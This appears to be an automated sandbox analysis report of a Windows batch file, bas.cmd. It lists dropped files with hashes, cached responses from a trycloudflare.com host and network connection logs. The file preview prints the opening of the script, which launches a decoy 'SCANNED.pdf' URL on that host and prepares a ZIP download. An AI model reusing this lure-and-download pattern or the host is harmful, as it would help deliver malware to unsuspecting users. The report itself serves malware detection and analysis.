Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........R....H.4.>..gg.n6:...d1.<X.R&..V...5.d..o\%r'y..W....}.Gk!..r.7..k.@n..^....[.&......^..>.Su...^"aZ.......>m~.....u+..O.....3$s...ABo..)........4..W.3vp^.'..OF.........f.u.(o..).f..Yu\\..`.z.c...B.Bb.v..w.........c4r../..d\|...&@Wk...W..@......0.."0....H.............0..........,.v@....]...<.....n..m.RI..~o.....K..+B/$.).EP....H/..}......$.]....m.Y....P.......&/.Q...@7..`.$M..(-!m...*.H....k.P......E%.(.DvnlS....d....$.\|....K.......5.....k?........XG..0.... .m...c3O.......xm.x,.D.duG..F+.. Q!.NJT..&..y..LHng.'.[..._i.Pt.........w...:...q.../J..R1....N..]..b._...]y4..f......@.x..\B..h..8b0...{pi..(.....N=@..V...S..o\|d;....j.Kx.A..+.

C:\Windows\SystemTemp\chrome_BITS_6892_794445048\BITDCFB.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	6855
Entropy (8bit):	7.703783639758224
Encrypted:	false
SSDEEP:	192:C/CBQqyTIuBsISUEdqScjknZ6iGdNik1F/hp6wGjqrtwo:fBQzTz9F4qSyM21RhEVmH
MD5:	252ACF01A9D4DC426E5CD19663E4DF42
SHA1:	AC59D37D42D032DCC69B33DAD2794DA277F02AA7
SHA-256:	A0D36633DA5E9660EFEFDE44A0762F678CB7A0E47ECA24D0F3E479B6AE303673
SHA-512:	D467BCED9A90BAE54324517C9053DE48985BE287D0A097EDAE51D805141F2D0484170510FBDF35D33B907B4032B55A0B80959435B0FB1F630190CCE95387A2BD
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b...........M.X....<.fk'.w\.p..$$...,<.xdL`[k..IH{\|.s9....)...#..8n..c.".(.W\......~w4.....nP....B.6f.9\.....?....b.5.2..."...2..;8.. }.T.T.......}@<...-:.....b.$......&..v.<I.2......%..S...0.......'.`.>;.U.\..Kj2X.~bh.1.2...-M.8sM/.hk)t...l]1A@.z......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.*ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_BITS_6892_794445048\gonpemdgkjcecdgbnaabipppbmgfggbe_2024.05.14.00_all_pt6odrcwmcz2ifcbvpdpv25i3u.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	6855
Entropy (8bit):	7.703783639758224
Encrypted:	false
SSDEEP:	192:C/CBQqyTIuBsISUEdqScjknZ6iGdNik1F/hp6wGjqrtwo:fBQzTz9F4qSyM21RhEVmH
MD5:	252ACF01A9D4DC426E5CD19663E4DF42
SHA1:	AC59D37D42D032DCC69B33DAD2794DA277F02AA7
SHA-256:	A0D36633DA5E9660EFEFDE44A0762F678CB7A0E47ECA24D0F3E479B6AE303673
SHA-512:	D467BCED9A90BAE54324517C9053DE48985BE287D0A097EDAE51D805141F2D0484170510FBDF35D33B907B4032B55A0B80959435B0FB1F630190CCE95387A2BD
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b...........M.X....<.fk'.w\.p..$$...,<.xdL`[k..IH{\|.s9....)...#..8n..c.".(.W\......~w4.....nP....B.6f.9\.....?....b.5.2..."...2..;8.. }.T.T.......}@<...-:.....b.$......&..v.<I.2......%..S...0.......'.`.>;.U.\..Kj2X.~bh.1.2...-M.8sM/.hk)t...l]1A@.z......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.*ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.99136283355077
Encrypted:	false
SSDEEP:	48:p/hUI1uLIrAdIi17akd8+vZvZAALRQkNKaLDekpvW:RnNQI+7amlBvZAKRQi3ekdW
MD5:	884209DC825F17BCF6433F2DD3C7E6FD
SHA1:	A38A1A859C781FD6F7BD52CFD62CE685CA5A910D
SHA-256:	B62C892D3B126AD917D30310BD400C333029727C88140E9C9E6420AE3E26DEED
SHA-512:	BC1F8D656C7D617D7C9C289DD6E49AC19301BE9597B89DBC41DEC6CA6CC719C6ECA7F28B3F992A6ADBF587202C3C04CE0835C5459407F888EFB1281FF77F8201
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJMVzhZaVRQM1lxbU5iMWVXUTQxajBVRmZObUhRUlNMREtRQ1lSRUFwZjRBIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiV3hOdUFtQnlzQ0k1NnRtdTRBX1BNMUYtaUNBaWJuXzJtM2tOdGtka25INCJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC41LjE0LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"FyhsZV91g2fM48fWCbRoIt5Z4L9u9uKeVBrevEE_fcaxnHu2YKCITYZCsfuIiRaQ0ioSrONndIR3o_NRLn94EeCjW9mx09YGbtIDuaJKHalmPzYIKcJvpnfGWUQ4tFVwkVRvmC2Tczv3CxqyCojE9cr4qr4Oo19wV9CcABBCXyiAlY3UDUkteh0C6JBtQ9JS4V_PmMD4xZ0-W7Ly1irhspj4QWnVLZoOBO121sn4rC8vsNNLR8K2rXS

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.7748418475126835
Encrypted:	false
SSDEEP:	3:S8g+WBDTZy0suxRSA1er1Cl:SD0Oxm5Cl
MD5:	12E4B45B481A49CB9793C4EB9EEB686D
SHA1:	8A1C3CD932D7441ACA1FDA1B077BFFAC53067E6A
SHA-256:	0B26105D6FCD078FC074E3F43012735C3C9D62E20B3C4DB205DEA4A8841ACE18
SHA-512:	026B9E240002166064E91BA063A2867F2A76F25FD0017661F082C877FE5F6067BDDCCB59DE187BD7AC31147DA054EB63969AF63EAD01F8F4469DD9168EF85BBC
Malicious:	false
Preview:	1.a0d36633da5e9660efefde44a0762f678cb7a0e47eca24d0f3e479b6ae303673

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1gLIJY:F6VlM8aRWpqS1gL2Y
MD5:	96644BF9C61D98F0ABBCB29D385C4DF2
SHA1:	83F15025C8B68D609DC3653517B224C8AED08602
SHA-256:	2D6F188933F762A98D6F5796438D63D1415F3661D04522C32900984440297F80
SHA-512:	F185B72778A001005A73052AB108EFE53A0C70A4A6B274D5B0F33160998A32FFA5CFFE730005258E3398041DE28452907B38A7AE2E632C6EB095BE700337D704
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.5.14.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6892_1534472183\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7793
Entropy (8bit):	4.61890378232256
Encrypted:	false
SSDEEP:	96:Mon4mdqX1gs1/BNKLcxbdmf5688PTGXvcxKuP+8qJq:v7qljBkIVRPTGXvcx1sq
MD5:	94679DFD3B9168DAA5214E36B8E12730
SHA1:	DE6965B81658AD978483F3A809641C66C2A92D12
SHA-256:	83D4ABA459DB56533A15A34889D633A5EB0AE6CFB90483D5BC60FC6CA72AC7D3
SHA-512:	156D83BFB12C4C3424BDF7929CC8977D8025A08301B942F5B7474D61EC7421DE0EADF6923619EED4B4EC66CC742ACF1201C3438E1947B05F14C8F172194F5D6E
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://elpais.com.uy","associatedSites":["https://clubelpais.com.uy","https://paula.com.uy","https://gallito.com.uy"],"ccTLDs":{"https://elpais.com.uy":["https://elpais.uy"]}}.{"primary":"https:/

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	392
Entropy (8bit):	5.375618178884925
Encrypted:	false
SSDEEP:	12:PQtUBo9Fx6rlQNGftGeRmRpKticSBwaHXhx3CR:PCUIcmGlGeRmmArhx3CR
MD5:	E4940580984895BBF62855A28D558E31
SHA1:	C2504FDD9D1317C328285B2D2BCA04CF23A430D4
SHA-256:	89A43CEA2E4C865F7FA1E0994148F01616526A26F7DD4ADF21DFFDE6682B2C6C
SHA-512:	53CEAA108CA65D16EE5DE1A3B9158A6C8FCACAD99B51DACDAC2D225C0AF1C1E4B49018555A8633119B1FAB5F1E90112F0FB42D17DECFB37CA77ACA9B9932A9A0
Malicious:	false
URL:	https://floor-contemporary-genius-accommodation.trycloudflare.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>.<html><head>. <meta http-equiv='Content-Type' content='text/html; charset=utf-8'>. <title>404 Not Found</title>.</head><body>. <h1>404 Not Found</h1>. <p>404 Not Found: /favicon.ico</p>.<hr/>.<a href='https://github.com/mar10/wsgidav/'>WsgiDAV/4.3.0</a> - 2024-05-23 21:12:30.793834.</body></html>

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	392
Entropy (8bit):	5.413062336074614
Encrypted:	false
SSDEEP:	12:PQtUBo9Fx6rlQNGftGeRmRpKtiIdV1VBwaHXhx3G:PCUIcmGlGeRmmA6V/hx3G
MD5:	CBBE6B8CC2CD8A42FC73DB2612ADBFFD
SHA1:	49238FC0767C689FA66438C88B02E88101F3A1CF
SHA-256:	ABFBFA260CD70220F25C0A715FA293D96B40B77628B5136D71EE7000350A80BF
SHA-512:	9BD9A0697D1D15D0613A1C514103FE44E78269DF1BF7DF536D26B1841560A770AA314317B7CA5376692B037CADFFC5786ADEDF4F2FE3FC6E9917F78947FB43A3
Malicious:	false
URL:	https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf
Preview:	<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>.<html><head>. <meta http-equiv='Content-Type' content='text/html; charset=utf-8'>. <title>404 Not Found</title>.</head><body>. <h1>404 Not Found</h1>. <p>404 Not Found: /SCANNED.pdf</p>.<hr/>.<a href='https://github.com/mar10/wsgidav/'>WsgiDAV/4.3.0</a> - 2024-05-23 21:12:29.735610.</body></html>

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.225683564539945
TrID:
File name:	bas.cmd
File size:	2'253 bytes
MD5:	1ea19718513b31928f6de0b9987d4db7
SHA1:	5fc33851fa6b132978c96d27cca0b5be99576391
SHA256:	626482f7b1e174f28191bfb6a8b7d46920d0b18cf1783f870bfb0d95214f3ddd
SHA512:	9864207104f6aff283bc63f855446b8db699f5a31113a35b9a7650900e58a3b251be145a2eb1b01215311317d269d45cc28e5e6cf590cd07ebef9da5be338705
SSDEEP:	48:+DrkLTwiwN88L5ylqKy4hw7HmIvrUjsyTO+RL3iwNOLuQvqqHLHwjKu8f8n2nXf5:+D8TC+YIy17GsrKTp9b0uyrHOszF
TLSH:	834188731C4FB130087212BB953C1BF4F404A99E99411CDA13F488ADB4647DDC6685DF
File Content Preview:	@echo off..setlocal....echo Opening first PDF file.....start "" "https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf"..timeout /t 5 >nul REM Wait for PDF to open (adjust timeout as needed)....:: Variables for downloading the ZIP

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 21:12:20.450829029 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:20.761727095 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:21.371234894 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:22.574301004 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:22.730608940 CEST	49674	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:22.730608940 CEST	49675	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:22.886801004 CEST	49672	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:24.980470896 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:28.118016005 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.118060112 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.118110895 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.118951082 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.118979931 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.613578081 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.615614891 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.615633011 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.617727995 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.617813110 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.623665094 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.623776913 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.624149084 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.624165058 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.669564962 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.946571112 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.946671963 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:28.947027922 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.968076944 CEST	49700	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:28.968101978 CEST	443	49700	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.171924114 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:12:29.174689054 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.174731016 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.175271034 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.175271034 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.175327063 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.380053997 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.380095005 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.380357981 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.380707979 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.380723000 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.543195009 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:12:29.657192945 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.662516117 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.662529945 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.662985086 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.663820028 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.663877964 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.664604902 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.710490942 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.717720032 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.782392025 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:29.889770985 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.890335083 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.890352964 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.890717030 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.892776012 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.892776012 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.892792940 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.892848969 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.935898066 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.973792076 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.974050999 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:29.974123001 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.977287054 CEST	49706	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:29.977308989 CEST	443	49706	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.000207901 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.000426054 CEST	443	49707	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.000487089 CEST	49707	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.024044991 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.024085999 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.024209976 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.024393082 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.024418116 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.043212891 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.043257952 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.043365002 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.043843031 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.043874979 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.293982983 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:12:30.559513092 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.561503887 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.561523914 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.562608004 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.562686920 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.563137054 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.563210011 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.563343048 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.563359976 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.626897097 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.627213001 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.627224922 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.628328085 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.628774881 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.628863096 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.628954887 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.671782970 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.748642921 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.974841118 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.974945068 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:30.974992037 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.989959955 CEST	49711	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:30.989984035 CEST	443	49711	104.16.231.132	192.168.2.7
May 23, 2024 21:12:31.057739973 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:31.057853937 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:31.057934046 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:31.059643984 CEST	49709	443	192.168.2.7	104.16.231.132
May 23, 2024 21:12:31.059663057 CEST	443	49709	104.16.231.132	192.168.2.7
May 23, 2024 21:12:31.795144081 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:12:32.371414900 CEST	49674	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:32.371444941 CEST	49675	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:32.434551954 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:32.434600115 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:32.434710026 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:32.435312033 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:32.435324907 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:32.648442030 CEST	49672	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:33.135840893 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:33.136523008 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:33.136549950 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:33.137581110 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:33.137643099 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:33.141289949 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:33.141365051 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:33.298913956 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:33.298932076 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:33.449930906 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:34.182262897 CEST	443	49699	104.98.116.138	192.168.2.7
May 23, 2024 21:12:34.182418108 CEST	49699	443	192.168.2.7	104.98.116.138
May 23, 2024 21:12:34.872009993 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:12:39.384510040 CEST	49671	443	192.168.2.7	204.79.197.203
May 23, 2024 21:12:40.831952095 CEST	49677	443	192.168.2.7	20.50.201.200
May 23, 2024 21:12:43.019795895 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:43.019870996 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:43.019961119 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:43.159111023 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:43.159146070 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:43.159223080 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:43.161139011 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:43.161151886 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:43.348357916 CEST	49714	443	192.168.2.7	142.250.186.100
May 23, 2024 21:12:43.348392010 CEST	443	49714	142.250.186.100	192.168.2.7
May 23, 2024 21:12:43.955971003 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:43.956058025 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:43.958388090 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:43.958400011 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:43.958677053 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:44.015121937 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:44.860600948 CEST	49717	443	192.168.2.7	52.165.165.26
May 23, 2024 21:12:44.902497053 CEST	443	49717	52.165.165.26	192.168.2.7
May 23, 2024 21:12:45.099957943 CEST	443	49717	52.165.165.26	192.168.2.7
